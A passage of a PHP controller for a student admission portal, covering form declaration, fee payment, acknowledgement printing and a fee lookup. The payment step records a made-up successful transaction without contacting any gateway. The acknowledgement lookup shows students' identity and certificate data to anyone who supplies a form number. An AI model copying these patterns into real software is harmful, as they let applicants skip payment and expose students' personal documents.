        $viewData['stuContactInfo'] = $this->StudentManagement->getStudentContactInfoBy($tspi_id)->result()[0];
        $viewData['stuEntranceExamAndProfExpInfo'] = $this->StudentManagement->getStudentStudentEntranceExamProfExpAndExtraCurricularInfoBy($tspi_id)->result()[0];
        $viewData['stuFamilyBGInfo'] = $this->StudentManagement->getStudentFamilyBackgroundInfoBy($tspi_id)->result();
        $viewData['stuEduQualifInfo'] = $this->StudentManagement->getStudentEducationalQualificationInfo($tspi_id)->result();
        $viewData['stuFatherName'] = $this->StudentManagement->getStudentFatherInfoBy($tspi_id)->result()[0]->tfbi_name;
        $viewData['stuFatherFamBGId'] = $this->StudentManagement->getStudentFatherInfoBy($tspi_id)->result()[0]->tfbi_id;
        $viewData['stuMotherName'] = $this->StudentManagement->getStudentMotherInfoBy($tspi_id)->result()[0]->tfbi_name;
        $viewData['stuMotherFamBGId'] = $this->StudentManagement->getStudentMotherInfoBy($tspi_id)->result()[0]->tfbi_id;
        $viewData["branch"] = $this->BranchManagement->getAllBranches()->result();
        $this->load->view('user/admissionFormDeclaration', $viewData);
    }

    public function declareAdmissionForm() {
        $tspi_id = $this->input->post("tspi_id");
        $this->form_validation->set_rules('declaration', 'declaration', 'required', array('required' => 'Please Select Declaration Checkbox.'));
        if ($this->form_validation->run() == FALSE) {
            $this->admissionFormDeclaration($tspi_id);
        } else {
            $persoanlDetailArray = array("tspi_status" => "NA", "tspi_id" => $tspi_id);
            if ($this->StudentManagement->updateStudentPersonalInfo($persoanlDetailArray)) {
                $this->payment($tspi_id);
            } else {
                redirect("user/Student/admissionFormDeclaration/" . $tspi_id);
            }
        }
    }

    public function payment($tspi_id) {
        if ($this->StudentManagement->getPersonalDetailsByTSPIID($tspi_id)->result()[0]->tspi_status == "NA") {
            $admissionFeeDetails = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($tspi_id)->result()[0];
            $transactionArray = array(
                "gateway_txnid" => "gtxn" . substr(time(), 2) . $tspi_id,
                "regno" => $tspi_id,
                "bank_ref_no" => "bnkrefno" . substr(time(), 2) . $tspi_id,
                "fee" => $admissionFeeDetails->ucs_form_fee,
                "tdate" => date("Y-m-d H:i:s"),
                "status" => "T",
                "error_desc" => "Success",
                "tran_details" => "ADMISSION",
                "tran_dt" => date("Y-m-d")
            );
            $this->db->trans_start();
            if ($this->StudentManagement->insertTransactionDetails($transactionArray)) {
                /* Below Logic Is For Auto-Generating Form No. */
                //$admissionFrmNoArray = array("regno" => $tspi_id);
                //$formno = $this->StudentManagement->insertAdmissionForm($admissionFrmNoArray);
                //$tspi_form_no = $admissionFeeDetails->course_name . "-" . $formno;
                /* Above Logic Is For Auto-Generating Form No. */
                /* Setting The Reference No./Form Id As Form No. Below */
                $tspi_form_no = $admissionFeeDetails->tspi_reference_no;
                /* Setting The Reference No./Form Id As Form No. */
                $persoanlDetailsArray = array(
                    "tspi_form_no" => $tspi_form_no,
                    "tspi_id" => $tspi_id,
                    "tspi_rollNumber" => $tspi_form_no,
                    "tspi_enrollment_no" => $tspi_form_no
                );
                $this->StudentManagement->updateStudentPersonalInfo($persoanlDetailsArray);
                $this->db->trans_complete();
                $this->session->set_flashdata("successMessage", "Transaction Suucessful.");
                redirect("Home");
            } else {
                $this->session->set_flashdata("errorMessage", "Transaction Failed.");
                redirect("user/enrollStudent");
            }
        } else {
            $this->session->set_flashdata("errorMessage", "Please Check Declaration.");
            redirect("user/Student/admissionFormDeclaration/" . $tspi_id);
        }
    }

    public function acknowledgement() {
        $viewData["branch"] = $this->BranchManagement->getAllBranches()->result();
        $this->load->view("user/acknowledgement", $viewData);
    }

    public function printAcknowledgement() {
        $viewData["branch"] = $this->BranchManagement->getAllBranches()->result();
        if (isset($_POST['opt1'])) {
            $this->form_validation->set_rules('form_no', 'Form Number', 'trim|required', array('required' => 'Enter Form Number.'));
            $this->form_validation->set_rules('opt', 'Option', 'trim|required', array('required' => 'Select Either Admission Form / Fee Acknowledgement.'));
            if ($this->form_validation->run() == FALSE) {
                $this->acknowledgement();
            } else {
                $option = $this->input->post("opt");
                $fornno = $this->input->post("form_no");
                if (sizeof($this->StudentManagement->getStudentFullAdmissionAndTransactionDetails($fornno)->result())) {
                    if ($option == "A") {
                        $personalInfo = $this->StudentManagement->getStudentFullAdmissionAndTransactionDetails($fornno)->result()[0];
                        $viewData['stuPersonalInfoWithPicAndSign'] = $personalInfo;
                        $viewData['stuContactInfo'] = $this->StudentManagement->getStudentContactInfoBy($personalInfo->tspi_id)->result()[0];
                        $viewData['stuEntranceExamAndProfExpInfo'] = $this->StudentManagement->getStudentStudentEntranceExamProfExpAndExtraCurricularInfoBy($personalInfo->tspi_id)->result()[0];
                        $viewData['stuFamilyBGInfo'] = $this->StudentManagement->getStudentFamilyBackgroundInfoBy($personalInfo->tspi_id)->result();
                        $viewData['stuEduQualifInfo'] = $this->StudentManagement->getStudentEducationalQualificationInfo($personalInfo->tspi_id)->result();

                        $aadharIdInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "S")->result()[0]->tipsm_id;
                        $aadharInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $aadharIdInfo)->result()[0];
                        $viewData['aadharInfo'] = $aadharInfo;

                        $PANInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "S")->result()[0]->tipsm_id;
                        $PANInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $PANInfoID)->result()[0];
                        $viewData['PANInfo'] = $PANInfo;

                        $casteCertificateInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(5, "S")->result()[0]->tipsm_id;
                        $casteCertificateInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $casteCertificateInfoID)->result()[0];
                        $viewData['casteCertificateInfo'] = $casteCertificateInfo;

                        $incomeCertificateInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(6, "S")->result()[0]->tipsm_id;
                        $incomeCertificateInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $incomeCertificateInfoID)->result()[0];
                        $viewData['incomeCertificateInfo'] = $incomeCertificateInfo;

                        $studentPhotographDocId = $this->DocumentManagement->getDocumentByFlag("SP")->result()[0]->doc_id;
                        $studentPhotographDoc = $this->DocumentManagement->getUploadedDocumentOfStudentBy($personalInfo->tspi_id, $studentPhotographDocId)->result()[0];

                        $viewData['studentPhotographDoc'] = $studentPhotographDoc;

                        $studentSignDocId = $this->DocumentManagement->getDocumentByFlag("SS")->result()[0]->doc_id;
                        $studentSignDoc = $this->DocumentManagement->getUploadedDocumentOfStudentBy($personalInfo->tspi_id, $studentSignDocId)->result()[0];
                        $viewData['studentSignDoc'] = $studentSignDoc;

                        $viewData['hostelInfo'] = $this->StudentManagement->getStudentHostelInfoBy($personalInfo->tspi_id)->result()[0];

                        $viewData['stuFatherName'] = $this->StudentManagement->getStudentFatherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_name;
                        $viewData['stuFatherFamBGId'] = $this->StudentManagement->getStudentFatherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_id;
                        $viewData['stuMotherName'] = $this->StudentManagement->getStudentMotherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_name;
                        $viewData['stuMotherFamBGId'] = $this->StudentManagement->getStudentMotherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_id;
                        $this->load->view("user/admissionFormAcknowledgement", $viewData);
                    } else {
                        $viewData["feeDetails"] = $this->StudentManagement->getStudentFullAdmissionAndTransactionDetails($fornno)->result();
                        $this->load->view("user/feeAcknowledgement", $viewData);
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', "Please enter valid Form No.");
                    $this->acknowledgement();
                }
            }
        } else if (isset($_POST['opt2'])) {
            $this->form_validation->set_rules('email', "Applicant's Email", 'trim|required', array('required' => 'Enter Applicant Email.'));
            $this->form_validation->set_rules('mobile', 'Form Number', 'trim|required', array('required' => 'Enter Applicant Mobile.'));
            $this->form_validation->set_rules('dob', 'DOB', 'trim|required', array('required' => 'Select Applicant DOB.'));
            $this->form_validation->set_rules('opt', 'Option', 'trim|required', array('required' => 'Select Either Admission Form / Fee Acknowledgement.'));

            if ($this->form_validation->run() == FALSE) {
                $this->acknowledgement();
            } else {
                $viewData["branch"] = $this->BranchManagement->getAllBranches()->result();
                $email = $this->input->post("email");
                $mobile = $this->input->post("mobile");
                $dob = date('Y-m-d', strtotime(str_replace('/', '-', $this->input->post("dob"))));
                $option = $this->input->post("opt");
                if (sizeof($this->StudentManagement->getStudentFullAdmissionAndTransactionDetails('', $email, $mobile, $dob)->result())) {
                    if ($option == "A") {

                        $personalInfo = $this->StudentManagement->getStudentFullAdmissionAndTransactionDetails('', $email, $mobile, $dob)->result()[0];
                        $viewData['stuPersonalInfoWithPicAndSign'] = $personalInfo;
                        $viewData['stuContactInfo'] = $this->StudentManagement->getStudentContactInfoBy($personalInfo->tspi_id)->result()[0];
                        $viewData['stuEntranceExamAndProfExpInfo'] = $this->StudentManagement->getStudentStudentEntranceExamProfExpAndExtraCurricularInfoBy($personalInfo->tspi_id)->result()[0];
                        $viewData['stuFamilyBGInfo'] = $this->StudentManagement->getStudentFamilyBackgroundInfoBy($personalInfo->tspi_id)->result();
                        $viewData['stuEduQualifInfo'] = $this->StudentManagement->getStudentEducationalQualificationInfo($personalInfo->tspi_id)->result();
                        //$studentCourseInfo = $this->CourseManagement->getCoursesBy($viewData['stuPersonalInfoWithPicAndSign']->course_id)->result()[0];

                        $aadharIdInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "S")->result()[0]->tipsm_id;
                        $aadharInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $aadharIdInfo)->result()[0];
                        $viewData['aadharInfo'] = $aadharInfo;

                        $PANInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "S")->result()[0]->tipsm_id;
                        $PANInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $PANInfoID)->result()[0];
                        $viewData['PANInfo'] = $PANInfo;

                        $casteCertificateInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(5, "S")->result()[0]->tipsm_id;
                        $casteCertificateInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $casteCertificateInfoID)->result()[0];
                        $viewData['casteCertificateInfo'] = $casteCertificateInfo;

                        $incomeCertificateInfoID = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(6, "S")->result()[0]->tipsm_id;
                        $incomeCertificateInfo = $this->IDProofManagement->getIdProofInfoBy($personalInfo->tspi_id, $incomeCertificateInfoID)->result()[0];
                        $viewData['incomeCertificateInfo'] = $incomeCertificateInfo;

                        $studentPhotographDocId = $this->DocumentManagement->getDocumentByFlag("SP")->result()[0]->doc_id;
                        $studentPhotographDoc = $this->DocumentManagement->getUploadedDocumentOfStudentBy($personalInfo->tspi_id, $studentPhotographDocId)->result()[0];

                        $viewData['studentPhotographDoc'] = $studentPhotographDoc;

                        $studentSignDocId = $this->DocumentManagement->getDocumentByFlag("SS")->result()[0]->doc_id;
                        $studentSignDoc = $this->DocumentManagement->getUploadedDocumentOfStudentBy($personalInfo->tspi_id, $studentSignDocId)->result()[0];
                        $viewData['studentSignDoc'] = $studentSignDoc;

                        $viewData['hostelInfo'] = $this->StudentManagement->getStudentHostelInfoBy($personalInfo->tspi_id)->result()[0];


                        $viewData['stuFatherName'] = $this->StudentManagement->getStudentFatherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_name;
                        $viewData['stuFatherFamBGId'] = $this->StudentManagement->getStudentFatherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_id;
                        $viewData['stuMotherName'] = $this->StudentManagement->getStudentMotherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_name;
                        $viewData['stuMotherFamBGId'] = $this->StudentManagement->getStudentMotherInfoBy($personalInfo->tspi_id)->result()[0]->tfbi_id;
                        $this->load->view("user/admissionFormAcknowledgement", $viewData);
                    } else {
                        $viewData["feeDetails"] = $this->StudentManagement->getStudentFullAdmissionAndTransactionDetails('', $email, $mobile, $dob)->result();
                        $this->load->view("user/feeAcknowledgement", $viewData);
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', "Please enter valid Applicant's Details.");
                    $this->acknowledgement();
                }
            }
        }
    }

    public function getFeeByCourseID() {
        $course_id = $this->input->post("course_id");
        $query = $this->CourseManagement->getFormFeeUsingCourseID($course_id);
        $fee = $query->result()[0]->admission_form_fee;
        exit;
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'fee' => $fee
        );
        echo json_encode($responseData);
    }

}

KBHT - 2023